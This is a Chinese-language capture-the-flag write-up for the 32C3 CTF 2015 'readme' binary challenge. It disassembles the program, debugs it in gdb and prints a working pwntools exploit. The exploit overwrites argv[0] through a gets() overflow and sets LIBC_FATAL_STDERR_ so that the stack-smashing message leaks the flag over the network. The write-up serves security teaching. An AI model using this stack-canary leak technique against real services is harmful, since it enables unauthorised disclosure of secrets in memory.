CTF-All-In-One/doc/6.1.14_pwn_32c3ctf2015_readme.md
2018-08-05 17:43:10 +08:00

334 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.14 pwn 32C3CTF2015 readme
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.14_pwn_32c3ctf2015_readme)
## 题目复现
```text
$ file readme.bin
readme.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped
$ checksec -f readme.bin
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 readme.bin
```
开启了 Canary。
flag 就藏在二进制文件中的 .data 段上:
```text
$ rabin2 -z readme.bin | grep 32C3
000 0x00000d20 0x00600d20 31 32 (.data) ascii 32C3_TheServerHasTheFlagHere...
```
程序接收两次输入,并打印出第一次输入的字符串(看起来并没有格式化字符串漏洞):
```text
$ ./readme.bin
Hello!
What's your name? %p.%p.%p.%p
Nice to meet you, %p.%p.%p.%p.
Please overwrite the flag: %d.%d.%d.%d
Thank you, bye!
$ python -c 'print "A"*300 + "\n" + "B"' > crash_input
$ ./readme.bin < crash_input
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
Aborted (core dumped)
$ python -c 'print "A" + "\n" + "B"*300' | ./readme.bin
Hello!
What's your name? Nice to meet you, A.
Please overwrite the flag: Thank you, bye!
```
第一次输入的字符串过多会导致栈冲突的问题,第二次的输入似乎就没有什么影响。
感觉和 6.1.13 那题一样,都是需要利用 `__stack_chk_fail()` 打印 flag参考章节 4.12)。但这一题是动态链接程序,因为 libc-2.25 版本的更新,使 `__stack_chk_fail()` 不能用了。所以为了复现我们选择Ubuntu 16.04,版本是 libc-2.23。
## 题目解析
来看一下程序的逻辑:
```text
[0x004006ee]> pdf @ sub.Hello___What_s_your_name_7e0
/ (fcn) sub.Hello___What_s_your_name_7e0 206
| sub.Hello___What_s_your_name_7e0 ();
| ; var int local_108h @ rsp+0x108
| ; CALL XREF from 0x004006e2 (main)
| 0x004007e0 55 push rbp
| 0x004007e1 be34094000 mov esi, str.Hello___What_s_your_name ; 0x400934 ; "Hello!\nWhat's your name? "
| 0x004007e6 bf01000000 mov edi, 1
| 0x004007eb 53 push rbx ; 先保存下 rbx 的值,然后 rbx 被用作计数器
| 0x004007ec 4881ec180100. sub rsp, 0x118 ; rsp = rsp - 0x118
| 0x004007f3 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x004007fc 488984240801. mov qword [local_108h], rax ; Canary = [rsp + 0x108]
| 0x00400804 31c0 xor eax, eax
| 0x00400806 e8a5feffff call sym.imp.__printf_chk
| 0x0040080b 4889e7 mov rdi, rsp ; rdi = rsp所以缓冲区大小 0x108
| 0x0040080e e8adfeffff call sym.imp._IO_gets ; 第一次输入,读取字符串
| 0x00400813 4885c0 test rax, rax
| ,=< 0x00400816 0f8483000000 je 0x40089f
| | 0x0040081c 4889e2 mov rdx, rsp
| | 0x0040081f be60094000 mov esi, str.Nice_to_meet_you___s.__Please_overwrite_the_flag: ; 0x400960 ; "Nice to meet you, %s.\nPlease overwrite the flag: "
| | 0x00400824 bf01000000 mov edi, 1
| | 0x00400829 31c0 xor eax, eax
| | 0x0040082b 31db xor ebx, ebx
| | 0x0040082d e87efeffff call sym.imp.__printf_chk
| | 0x00400832 660f1f440000 nop word [rax + rax]
| | ; JMP XREF from 0x0040085c (sub.Hello___What_s_your_name_7e0)
| .--> 0x00400838 488b3d090520. mov rdi, qword [obj.stdin] ; [0x600d48:8]=0 ; 临时存储区
| :| 0x0040083f e85cfeffff call sym.imp._IO_getc ; 第二次输入,每次读取一个字符
| :| 0x00400844 83f8ff cmp eax, 0xffffffffffffffff
| ,===< 0x00400847 7456 je 0x40089f
| |:| 0x00400849 83f80a cmp eax, 0xa ; 10 ; 是否为换行符
| ,====< 0x0040084c 7412 je 0x400860
| ||:| 0x0040084e 8883200d6000 mov byte [rbx + str.32C3_TheServerHasTheFlagHere...], al ; 将字符写入到原 flag+rbx 的地方
| ||:| 0x00400854 4883c301 add rbx, 1 ; 计数 + 1
| ||:| 0x00400858 4883fb20 cmp rbx, 0x20 ; 32 ; 最多读入 0x20 个字符
| ||`==< 0x0040085c 75da jne 0x400838 ; 继续循环
| ||,==< 0x0040085e eb18 jmp 0x400878 ; 结束循环
| |||| ; JMP XREF from 0x0040084c (sub.Hello___What_s_your_name_7e0)
| `----> 0x00400860 ba20000000 mov edx, 0x20 ; 32
| ||| 0x00400865 4863fb movsxd rdi, ebx
| ||| 0x00400868 31f6 xor esi, esi ; rsi = 0
| ||| 0x0040086a 29da sub edx, ebx ; 0x20 - 计数
| ||| 0x0040086c 4881c7200d60. add rdi, str.32C3_TheServerHasTheFlagHere... ; rdi = flag+rbx
| ||| 0x00400873 e8f8fdffff call sym.imp.memset ; void *memset(void *s, int c ; 将剩余的 flag 覆盖为 0
| ||| ; JMP XREF from 0x0040085e (sub.Hello___What_s_your_name_7e0)
| |`--> 0x00400878 bf4e094000 mov edi, str.Thank_you__bye ; 0x40094e ; "Thank you, bye!
| | | 0x0040087d e8befdffff call sym.imp.puts ; int puts(const char *s)
| | | 0x00400882 488b84240801. mov rax, qword [local_108h] ; [0x108:8]=-1 ; 264
| | | 0x0040088a 644833042528. xor rax, qword fs:[0x28]
| |,==< 0x00400893 7514 jne 0x4008a9 ; 验证 Canary
| ||| 0x00400895 4881c4180100. add rsp, 0x118
| ||| 0x0040089c 5b pop rbx
| ||| 0x0040089d 5d pop rbp
| ||| 0x0040089e c3 ret
| ||| ; JMP XREF from 0x00400816 (sub.Hello___What_s_your_name_7e0)
| ||| ; JMP XREF from 0x00400847 (sub.Hello___What_s_your_name_7e0)
| `-`-> 0x0040089f bf01000000 mov edi, 1
| | 0x004008a4 e887fdffff call sym.imp._exit ; void _exit(int status)
| | ; JMP XREF from 0x00400893 (sub.Hello___What_s_your_name_7e0)
\ `--> 0x004008a9 e8a2fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(voi ; 验证失败时调用
[0x004006ee]> px 0x20 @ str.32C3_TheServerHasTheFlagHere...
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00600d20 3332 4333 5f54 6865 5365 7276 6572 4861 32C3_TheServerHa
0x00600d30 7354 6865 466c 6167 4865 7265 2e2e 2e00 sTheFlagHere....
```
看注释已经很明显了,第一次的输入需要我们触发栈溢出,使程序调用 `__stack_chk_fail()`,并打印出 `argv[0]`。第二次的输入将覆盖掉位于 `0x00600d20` 的 flag。
## 漏洞利用
那么问题来了,如果 flag 被覆盖掉了,那还怎样将其打印出来。这就涉及到了 ELF 文件的映射问题,我们知道 x86-64 程序的映射是从 `0x400000` 开始的:
```text
$ ld --verbose | grep __executable_start
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
```
在调试时我们又发现 readme.bin 被映射到下面的两个地址中:
```text
gdb-peda$ b *0x0040080e
Breakpoint 1 at 0x40080e
gdb-peda$ r
gdb-peda$ vmmap readme.bin
Start End Perm Name
0x00400000 0x00401000 r-xp /home/firmyy/readme.bin
0x00600000 0x00601000 rw-p /home/firmyy/readme.bin
```
所以只要在二进制文件 `0x00000000~0x00001000` 范围内的内容都会被映射到内存中,分别以 `0x600000``0x400000` 作为起始地址 。flag 在 `0x00000d20`,所以会在内存中出现两次,分别位于 `0x00600d20``0x00400d20`
```text
gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
```
所以即使 `0x00600d20` 的 flag 被覆盖了,`0x00400d20` 的 flag 依然存在。
让我们来找出 `argv[0]` 距离栈的距离:
```text
gdb-peda$ find /home/firmyy/readme.bin
Searching for '/home/firmyy/readme.bin' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0x7fffffffe097 ("/home/firmyy/readme.bin")
[stack] : 0x7fffffffef9f ("/home/firmyy/readme.bin")
[stack] : 0x7fffffffefe0 ("/home/firmyy/readme.bin")
gdb-peda$ find 0x7fffffffe097
Searching for '0x7fffffffe097' in: None ranges
Found 2 results, display max 2 items:
libc : 0x7ffff7dd23d8 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
[stack] : 0x7fffffffdc78 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
gdb-peda$ x/10gx 0x7fffffffdc78
0x7fffffffdc78: 0x00007fffffffe097 0x0000000000000000
0x7fffffffdc88: 0x00007fffffffe0af 0x00007fffffffe0ba
0x7fffffffdc98: 0x00007fffffffe0cf 0x00007fffffffe0e6
0x7fffffffdca8: 0x00007fffffffe0f8 0x00007fffffffe12a
0x7fffffffdcb8: 0x00007fffffffe142 0x00007fffffffe158
gdb-peda$ x/10s 0x00007fffffffe097
0x7fffffffe097: "/home/firmyy/readme.bin"
0x7fffffffe0af: "XDG_VTNR=7"
0x7fffffffe0ba: "LC_PAPER=zh_CN.UTF-8"
0x7fffffffe0cf: "LC_ADDRESS=zh_CN.UTF-8"
0x7fffffffe0e6: "XDG_SESSION_ID=c1"
0x7fffffffe0f8: "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/firmyy"
0x7fffffffe12a: "LC_MONETARY=zh_CN.UTF-8"
0x7fffffffe142: "CLUTTER_IM_MODULE=xim"
0x7fffffffe158: "SESSION=ubuntu"
0x7fffffffe167: "GPG_AGENT_INFO=/home/firmyy/.gnupg/S.gpg-agent:0:1"
gdb-peda$ distance $rsp 0x7fffffffdc78
From 0x7fffffffda60 to 0x7fffffffdc78: 536 bytes, 134 dwords
```
`536=0x218` 个字节。第一次尝试:
```python
from pwn import *
io = remote("127.0.0.1", 10001)
payload_1 = "A"*0x218 + p64(0x400d20)
io.sendline(payload_1)
payload_2 = "A"*4
io.sendline(payload_2)
print io.recvall()
```
在第一个终端里执行下面的命令,相当于远程服务器,并且将 stderr 重定向到 stdout
```text
$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
```
然后在第二个终端里执行 exp
```text
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[+] Receiving all data: Done (627B)
[*] Closed connection to 127.0.0.1 port 10001
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
Please overwrite the flag: Thank you, bye!
```
flag 并没有在我们执行 exp 的终端里打印出来,反而是打印在了执行程序的终端里:
```text
$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
```
所以我们需要做点事情,让远程服务器上的错误信息通过网络传到我们的终端里。即利用第二次的输入,将 `LIBC_FATAL_STDERR_=1` 写入到环境变量中。结果如下:
```text
gdb-peda$ x/10gx $rsp+0x218
0x7fffffffdcd8: 0x0000000000400d20 0x0000000000000000
0x7fffffffdce8: 0x0000000000600d20 0x00007fffffffe100
0x7fffffffdcf8: 0x00007fffffffe123 0x00007fffffffe155
0x7fffffffdd08: 0x00007fffffffe181 0x00007fffffffe19f
0x7fffffffdd18: 0x00007fffffffe1bf 0x00007fffffffe1df
gdb-peda$ x/s 0x400d20
0x400d20: "32C3_TheServerHasTheFlagHere..."
gdb-peda$ x/s 0x600d20
0x600d20: "LIBC_FATAL_STDERR_=1"
```
函数 `__GI___libc_secure_getenv` 成功获取到了环境变量 `LIBC_FATAL_STDERR_` 的值 `1`
```text
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x600d33 --> 0x31 ('1')
RBX: 0x7ffff7b9c49f ("*** %s ***: %s terminated\n")
RCX: 0xe
RDX: 0x0
RSI: 0x7ffff7b9ab8e ("BC_FATAL_STDERR_")
RDI: 0x600d22 ("BC_FATAL_STDERR_=1")
RBP: 0x7fffffffda80 --> 0x7ffff7b9c481 ("stack smashing detected")
RSP: 0x7fffffffd9f0 --> 0x0
RIP: 0x7ffff7a8455a (<__libc_message+74>: test rax,rax)
R8 : 0x1010
R9 : 0x24a
R10: 0x1c7
R11: 0x0
R12: 0x7ffff7b9ac35 ("<unknown>")
R13: 0x7fffffffdcd0 ("AAAAAAAA \r@")
R14: 0x0
R15: 0x1
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a8454a <__libc_message+58>: mov DWORD PTR [rbp-0x78],0x10
0x7ffff7a84551 <__libc_message+65>: mov QWORD PTR [rbp-0x68],rax
0x7ffff7a84555 <__libc_message+69>: call 0x7ffff7a46ef0 <__GI___libc_secure_getenv>
=> 0x7ffff7a8455a <__libc_message+74>: test rax,rax
0x7ffff7a8455d <__libc_message+77>: je 0x7ffff7a84568 <__libc_message+88>
0x7ffff7a8455f <__libc_message+79>: cmp BYTE PTR [rax],0x0
0x7ffff7a84562 <__libc_message+82>: jne 0x7ffff7a846f7 <__libc_message+487>
0x7ffff7a84568 <__libc_message+88>: mov esi,0x902
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd9f0 --> 0x0
0008| 0x7fffffffd9f8 --> 0x0
0016| 0x7fffffffda00 --> 0x0
0024| 0x7fffffffda08 --> 0x10
0032| 0x7fffffffda10 --> 0x7fffffffda90 --> 0x14
0040| 0x7fffffffda18 --> 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
0048| 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
0056| 0x7fffffffda28 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
__libc_message (do_abort=do_abort@entry=0x1, fmt=fmt@entry=0x7ffff7b9c49f "*** %s ***: %s terminated\n")
at ../sysdeps/posix/libc_fatal.c:81
81 ../sysdeps/posix/libc_fatal.c: No such file or directory.
```
Bingo!!!
```text
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[+] Receiving all data: Done (703B)
[*] Closed connection to 127.0.0.1 port 10001
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
```
### exploit
最终的 exp 如下:
```python
from pwn import *
io = remote("127.0.0.1", 10001)
#io = process('./readme.bin')
#context.log_level = 'debug'
payload_1 = "A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600d20)
io.sendline(payload_1)
payload_2 = "LIBC_FATAL_STDERR_=1"
io.sendline(payload_2)
print io.recvall()
```
## 参考资料
- <https://ctftime.org/task/1958>
- <https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200>